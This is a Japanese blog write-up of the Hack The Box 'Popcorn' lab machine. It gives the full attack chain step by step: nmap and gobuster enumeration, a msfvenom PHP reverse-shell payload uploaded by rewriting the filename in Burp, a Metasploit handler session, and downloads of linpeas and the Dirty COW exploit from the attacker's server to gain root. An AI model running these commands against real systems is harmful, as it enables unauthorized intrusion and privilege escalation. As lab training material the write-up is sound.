#はじめに
どうもこんにちは。謎にケーキ屋バイトをはじめたikkyuです。
自分のまとめのためにも書いていきたいと思います。また日本語の解説も少なかったりするので参考の1つとしてみてくれたらなと思います。
間違っているところとかあればご指摘お願いします。
Popcorn, while not overly complicated, contains quite a bit of content and it can be difficult for
some users to locate the proper attack vector at first. This machine mainly focuses on different
methods of web exploitation.
#nmap
nmap -sC -sV -Pn --script vuln 10.10.10.6
オプションの詳細はぼくのDevelの記事を参照してみてください。nmapの結果、
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 05:27 EDT
Nmap scan report for 10.10.10.6
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:openbsd:openssh:5.1p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /test/: Test page
| /test.php: Test page
| /test/logon.html: Jetty
|_ /icons/: Potentially interesting folder w/ directory listing
|_http-server-header: Apache/2.2.12 (Ubuntu)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: BID:49303 CVE:CVE-2011-3192
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://www.tenable.com/plugins/nessus/55976
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://www.securityfocus.com/bid/49303
|_ https://seclists.org/fulldisclosure/2011/Aug/175
| vulners:
| cpe:/a:apache:http_server:2.2.12:
| CVE-2010-0425 10.0 https://vulners.com/cve/CVE-2010-0425
| CVE-2010-0425 10.0 https://vulners.com/cve/CVE-2010-0425
| CVE-2011-3192 7.8 https://vulners.com/cve/CVE-2011-3192
| CVE-2011-3192 7.8 https://vulners.com/cve/CVE-2011-3192
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2013-2249 7.5 https://vulners.com/cve/CVE-2013-2249
| CVE-2013-2249 7.5 https://vulners.com/cve/CVE-2013-2249
| CVE-2012-0883 6.9 https://vulners.com/cve/CVE-2012-0883
| CVE-2012-0883 6.9 https://vulners.com/cve/CVE-2012-0883
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2013-1862 5.1 https://vulners.com/cve/CVE-2013-1862
| CVE-2014-0231 5.0 https://vulners.com/cve/CVE-2014-0231
| CVE-2014-0231 5.0 https://vulners.com/cve/CVE-2014-0231
| CVE-2014-0098 5.0 https://vulners.com/cve/CVE-2014-0098
| CVE-2014-0098 5.0 https://vulners.com/cve/CVE-2014-0098
| CVE-2013-6438 5.0 https://vulners.com/cve/CVE-2013-6438
| CVE-2013-6438 5.0 https://vulners.com/cve/CVE-2013-6438
| CVE-2012-4557 5.0 https://vulners.com/cve/CVE-2012-4557
| CVE-2011-3368 5.0 https://vulners.com/cve/CVE-2011-3368
| CVE-2011-3368 5.0 https://vulners.com/cve/CVE-2011-3368
| CVE-2010-2068 5.0 https://vulners.com/cve/CVE-2010-2068
| CVE-2010-1452 5.0 https://vulners.com/cve/CVE-2010-1452
| CVE-2010-0408 5.0 https://vulners.com/cve/CVE-2010-0408
| CVE-2010-0408 5.0 https://vulners.com/cve/CVE-2010-0408
| CVE-2009-2699 5.0 https://vulners.com/cve/CVE-2009-2699
| CVE-2009-2699 5.0 https://vulners.com/cve/CVE-2009-2699
| CVE-2007-6750 5.0 https://vulners.com/cve/CVE-2007-6750
| CVE-2007-6750 5.0 https://vulners.com/cve/CVE-2007-6750
| CVE-2012-0031 4.6 https://vulners.com/cve/CVE-2012-0031
| CVE-2012-0031 4.6 https://vulners.com/cve/CVE-2012-0031
| CVE-2011-3607 4.4 https://vulners.com/cve/CVE-2011-3607
| CVE-2011-3607 4.4 https://vulners.com/cve/CVE-2011-3607
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2013-1896 4.3 https://vulners.com/cve/CVE-2013-1896
| CVE-2013-1896 4.3 https://vulners.com/cve/CVE-2013-1896
| CVE-2012-4558 4.3 https://vulners.com/cve/CVE-2012-4558
| CVE-2012-4558 4.3 https://vulners.com/cve/CVE-2012-4558
| CVE-2012-3499 4.3 https://vulners.com/cve/CVE-2012-3499
| CVE-2012-0053 4.3 https://vulners.com/cve/CVE-2012-0053
| CVE-2011-4317 4.3 https://vulners.com/cve/CVE-2011-4317
| CVE-2011-4317 4.3 https://vulners.com/cve/CVE-2011-4317
| CVE-2011-3639 4.3 https://vulners.com/cve/CVE-2011-3639
| CVE-2011-3639 4.3 https://vulners.com/cve/CVE-2011-3639
| CVE-2011-3348 4.3 https://vulners.com/cve/CVE-2011-3348
| CVE-2011-3348 4.3 https://vulners.com/cve/CVE-2011-3348
| CVE-2011-0419 4.3 https://vulners.com/cve/CVE-2011-0419
| CVE-2011-0419 4.3 https://vulners.com/cve/CVE-2011-0419
| CVE-2010-0434 4.3 https://vulners.com/cve/CVE-2010-0434
| CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
| CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
| CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687
| CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687
| CVE-2011-4415 1.2 https://vulners.com/cve/CVE-2011-4415
|_ CVE-2011-4415 1.2 https://vulners.com/cve/CVE-2011-4415
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 368.28 seconds
80番ポートが開いていますね。とりあえずブラウザからアクセス。
このような画面が表示されます。
#gobuster
gobusterでどんなディレクトリがあるか探ってみます。
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
結構時間がかかります。すると
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.6
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/05 05:43:28 Starting gobuster
===============================================================
/index (Status: 200)
/test (Status: 200)
/torrent (Status: 301)
/rename (Status: 301)
ずらっと出てきます(一部抜粋)。いろいろ気になったディレクトリをみていくと、その中でもtorrentディレクトリでファイルのアップロードができることが分かります。ログインしないとできなそうなので適当にアカウントを作ってログインします。
#msfvenom
ファイルアップロードできるようなのでリバースシェル用のペイロードをmsfvenomで作成します。
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.??.?? lport=4444 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1111 bytes
そしてアップロードを試みますがtorrentファイルしかアップロードできないようです。拡張子を変えたりburp経由でいろいろ工夫(後述)しても以下のような画面になります。
適当にkaliのtorrentをwebからダウンロードしてアップロードしてみます。torrentファイルなら本当にアップロードできるのか?できたとして飛ばされたページ先で何かできないか、、
無事成功します。ページの真ん中あたりに"Edit this torrent"というボタンがあり、ここから画像ファイルをアップロードできるようなので先ほどと同じようにペイロードをアップロードしてみます。すると案の定
らしいです。なので(先ほど後述するとして省略した)burpを経由して工夫してみたいと思います。まずburpを立ち上げてproxyタブのoptionの設定を以下のようにします。まずaddを押してローカルポートを設定し、
次にpopcornサーバーのipとポートを設定します。
以下のような画面になっていればオッケーです。
場合によってはブラウザ側の設定も行わないといけないので注意してください。ぼくの場合もそうでしたがググればすぐ出てきました。拡張子がphpのままだとアップロードできなかったので画像ファイルの拡張子の1つであるpngに変更します。
mv shell.php shell.php.png
そしてburpのinterceptをonにして
画像をアップロード
burpで
のように出るので中段あたりのfilename=shell.php.pngをfilename=shell.phpに書き換えます。
そしてburpでforwardボタンを押すと無事アップロードできました。
問題はアップロードしたファイルがどこに行ったのか。gobusterでディレクトリをあさってみると
gobuster dir -u http://10.10.10.6:80/torrent/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.6:80/torrent/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/07 00:18:11 Starting gobuster
===============================================================
/index (Status: 200)
/images (Status: 301)
/download (Status: 200)
/rss (Status: 200)
/login (Status: 200)
/templates (Status: 301)
/users (Status: 301)
/admin (Status: 301)
/health (Status: 301)
/browse (Status: 200)
/comment (Status: 200)
/upload (Status: 301)
Progress: 488 / 220561 (0.22%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/09/07 00:18:30 Finished
===============================================================
gobusterが調べてくれている途中でuploadというディレクトリが見つかったので途中でgobusterを中断し、/torrent/uploadへ行ってみる。
#リバースシェル
phpファイルがアップロードされているのでmsfでハンドラを設定してリバースシェルをしていきたいと思います。
~/Desktop/popcorn$ msfconsole
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: View missing module options with show missing
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 10.10.14.2
lhot => 10.10.14.2
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.2:4444
次にブラウザから先ほとのphpファイルにアクセスすると
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Sending stage (38288 bytes) to 10.10.10.6
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.6:60984) at 2020-09-07 00:29:34 -0400
meterpreter >
リバースシェル 成功です。
meterpreter > getuid
Server username: www-data (33)
まだrootではないので特権エスカレーションしていきたいと思います。
#特権エスカレーション
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.6 - Collecting local exploits for php/linux...
[-] 10.10.10.6 - No suggestions available.
[*] Post module execution completed
特に何も見つかりません。local_exploit_suggesterについては過去記事のHack the Box (HTB) Devel write-upを参照してください。
#linpeas
linpeasは特権エスカレーションに使えそうなパスを探してくれます。
まずローカルのディレクトリにネットからlinpeas.shを落としてきて、同じディレクトリにサーバをたてます。
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
そしてpopcornのサーバ側で
meterpreter > shell
Process 13500 created.
Channel 1 created.
シェルを起動し、wgetでローカルに落としたlinpeas.shを持ってくる。
wget http://10.10.14.2:8000/linpeas.sh
--2020-09-07 11:12:13-- http://10.10.??.??:8000/linpeas.sh
Connecting to 10.10.??.??:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 243901 (238K) [text/x-sh]
Saving to: `linpeas.sh'
0K .......... .......... .......... .......... .......... 20% 122K 2s
50K .......... .......... .......... .......... .......... 41% 121K 1s
100K .......... .......... .......... .......... .......... 62% 123K 1s
150K .......... .......... .......... .......... .......... 83% 243K 0s
200K .......... .......... .......... ........ 100% 186K=1.6s
2020-09-07 11:12:15 (145 KB/s) - `linpeas.sh' saved [243901/243901]
実行しようとするが権限がないと言われるのでchmodでファイルのアクセス権限を変更して実行
./linpeas.sh
/bin/sh: ./linpeas.sh: Permission denied
chmod 777 linpeas.sh
./linpeas.sh
すると
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 99% a PE vector
RED: You must take a look at it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMangeta: Your username
====================================( Basic information )=====================================
OS: Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: popcorn
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . DONE
出力結果の一部抜粋ですがlinuxのバージョンがかなり古い(2.6.31)ことが分かります。バージョンが古いとLocal Priviledge Escalationが可能な脆弱性がある場合が多い([HackPack CTF 2020 writeup] Hupty Dumpty's SSH Account参照)ので適当に"linux 2.6.31 privilege escalation"調べてみると"Dirty Cow"という脆弱性が見つかります。
linpeas.shと同様にローカルに落としてきてpopcornサーバに持ってきます。
wget http://10.10.??.??:8000/40839.c
--2020-09-07 11:35:20-- http://10.10.??.??:8000/40839.c
Connecting to 10.10.??.??:8000... failed: Connection refused.
wget http://10.10.??.??:8000/40839.c
--2020-09-07 11:36:20-- http://10.10.??.??:8000/40839.c
Connecting to 10.10.??.??:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [text/plain]
Saving to: `40839.c'
0K .... 100% 72.8M=0s
2020-09-07 11:36:20 (72.8 MB/s) - `40839.c' saved [5006/5006]
ソース元のexploit dbの説明(一部抜粋)↓
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
を読みながらまずはコンパイルします。pthreadオプションはpthreadライブラリにリンクしスレッドを構成するようコンパイラーに指示しマルチスレッドプログラミングを可能にします(GCCを使ったマルチスレッド・プログラミングの基本参照)。
そしてlcryptオプションでcryptライブラリをリンクしています。実行し適当にパスワードを設定。
gcc -pthread 40839.c -o dirty -lcrypt
chmod 777 dirty
./dirty
Please enter the new password: aaa
ローカルからssh接続します。firefartはdirtycowのソース元の説明にある通りデフォです。
パスワードは先ほど適当に設定したaaa。
sh firefart@10.10.10.6
The authenticity of host '10.10.10.6 (10.10.10.6)' can't be established.
RSA key fingerprint is SHA256:V1Azfw43WixBJWVAsqnBuoCdUrthzn2x6VQiZjAUusk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.6' (RSA) to the list of known hosts.
firefart@10.10.10.6's password:
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
System information as of Mon Sep 7 11:52:10 EEST 2020
System load: 1.24 Memory usage: 11% Processes: 117
Usage of /: 6.2% of 14.80GB Swap usage: 0% Users logged in: 0
=> There are 3 zombie processes.
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sun Sep 24 18:01:48 2017
無事接続できたみたいなので管理者権限かどうか確認してみるとrootになっています。そのままroot.txtを出力しておしまい。
firefart@popcorn:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:~# ls
root.txt
firefart@popcorn:~# cat root.txt
おつかれさまでした。では。